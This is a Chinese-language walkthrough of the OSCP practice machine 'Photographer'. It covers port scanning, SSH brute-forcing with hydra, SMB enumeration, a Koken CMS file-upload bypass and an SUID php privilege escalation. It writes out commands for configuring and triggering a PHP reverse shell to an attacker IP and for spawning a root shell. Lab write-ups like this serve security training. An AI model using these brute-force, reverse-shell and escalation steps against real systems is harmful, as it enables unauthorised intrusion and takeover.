芝士土拨鼠
- 关注
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
OSCP靶机---Photographer
今天来打一个OSCP的靶机,难度中等,包含了端口探测,服务探测,ssh爆破,SMB枚举,文件上传绕过,suid提权等等…靶场难度中等偏高,需要收集两个flag,一个flag低权限shell就可以获取,第二个要提权后才可以获取。希望大家看完可以有所收获。
启动环境
启动VPN:openvpn universal.ovpn
攻击机IP为:192.168.45.248
启动靶机:
靶机IP为: 192.168.152.76
信息收集
1.端口
nmap扫描端口nmap --min-rate 10000 -p- 192.168.152.76
靶机开放22,80,139,445,8000了五个端口
详细探测一下端口信息。
如下
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
8000/tcp open http Apache httpd 2.4.18 ((Ubuntu))
2.端口测试
**2.1 **22-ssh端口
发现开启的22是ssh端口,且版本为OpenSSH 7.2,搜一下有没有对应的脚本:searchsploit OpenSSH 7.2
发现有两个用户枚举。待定。
看一下ssh的版本信息ssh root@192.168.152.76 -v
发现靶机支持密钥和密码登录。
手工弱口令试一下:ssh root@192.168.152.76 -p 22
尝试了几个都没有成功登录,直接用hydra爆破hydra -l root -P /usr/share/wordlists/metasploit/unix_passwords.txt -t 6 -vV 192.168.152.76 ssh -s 22
等待ing
老样子没有爆破出来。
2.280-http
直接访问 192.168.152.76:80
很精致的页面,应该是有cms,用whatweb看一下具体的cms:whatweb http://192.168.152.76/
cms应该是photographer,试着利用一下。searchsploit Photographer
好像不是。页面里到处点点看一下有没有功能点,好像也没有,那就扫一下目录:dirsearch -u http://192.168.152.76/
有三个,index.html是主页,还有/assets/,/images/,看一下http://192.168.152.76/images/
是一个目录遍历。都是图片,没什么用。
看一下/assets/
是网站的css,js,图标等一些东西,还是没有用处。
2.3445-SMB
前面的nmap探测到139和445都是一样的SMB服务。直接测试445端口
利用smbclient看一下SMB的内容。smbclient -L //192.168.152.76
空密码直接登上了,值得关注的是sambashare。看一下内容smbclient //192.168.152.76/sambashare -U root
一个txt,还有一个WP的备份文件,太大了,下载不了。
查看一下这个txt文件:
get mailsent.txt
cat mailsent.txt
可能是一个邮件的内容,发件人是agi@photographer.com,收件人daisa@photographer.com看一下翻译
留言者一个给daisa建了一个站,推测秘密有可能是my babygril,也就是密码。先记下这里的东西。
试一下SMB枚举工具enum4linux抓一下用户名。enum4linux 192.168.152.76
WORKGROUP
2.48000--http
http服务老规矩先访问一下:
巨卡无比,直接curl看看吧curl http://192.168.152.76:8000
看不出来什么。
终于加载进来了,我还以为我VPN挂了。没什么功能点,而且巨卡。看一下cms。whatweb 192.168.152.76:8000/
CMS是Koken 0.22.24,搜一下对应的exp
又任意文件上传,有搞头,看一下详情:cat /usr/share/exploitdb/exploits/php/webapps/48706.txt
教程是生成名字为*.php.jpg的木马,然后bp修改成.php就可以成功上传。
访问一下样本的上传路径,发现是404,去掉第一级有一个api页面:
要文件上传肯定是要有上传点的,直接扫一下目录吧。dirsearch -u http://192.168.152.76:8000/ -x 302,403
挺多,一个一个访问看一下。最终只有这个admin登录页面可以利用
攻击阶段
登录界面,用户名是邮箱,之前的那个邮件里就有邮箱。
daisa@photographer.com,密码提示可能是my babygril
那就试一试,经过测试,密码是babygril成功登录。
依据之前收集的信息,这里肯定是一个上传点的,找一下。
在这里,按照之前exp的提示开始打。
1.启动burp
2.创建一个反弹shell的.php.jpg文件,php用kali自带的webshellscp /usr/share/webshells/php/php-reverse-shell.php ./shell.php.jpg
3.配置一下shell:
利用grep确定修改反弹shell_ip的第49行
grep -n "127.0.0.1" shell.php.jpg
设置监听端口是第50行
grep -n "1234" shell.php.jpg
用sed命令替换里面的内容
sed -i '49s/127.0.0.1/192.168.45.248/' shell.php.jpg
sed -i '50s/1234/6666/' shell.php.jpg
查看49与50行是否修改成功
sed -n '49,50p' shell.php.jpg
4.启动nc监听:nc -lvvp 6666
5.burp进行shell的上传
修改两处,发包,抓到重定向的包,找到了上传的位置:
访问上传的shellcurl http:\/\/192.168.152.76:8000\/storage\/originals\/d2\/eb\/shell.php
成功弹到shell。
内网渗透
先用python获得新的交互shellpython -c "import pty;pty.spawn('/bin/bash')";
获取flag1find / -name local.txt 2>/dev/null
cat /home/daisa/local.txt
提权
1.内核overlayfs提权lsb_release -a
看看发行版本
Ubuntu 16.04不行
2.低内核版本提权uname -a
内核版本为4.15.0,不行。
3.sudo提权sudo -l
要密码,不行。
4.suid提权find / -perm -u=s -type f 2>/dev/null
有一个php,去https://gtfobins.github.io 找找。
这里是php7.2,那就是php7.2 -r "pcntl_exec('/bin/sh', ['-p']);"
成功提权。
获取flag2cat /root/proof.txt
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)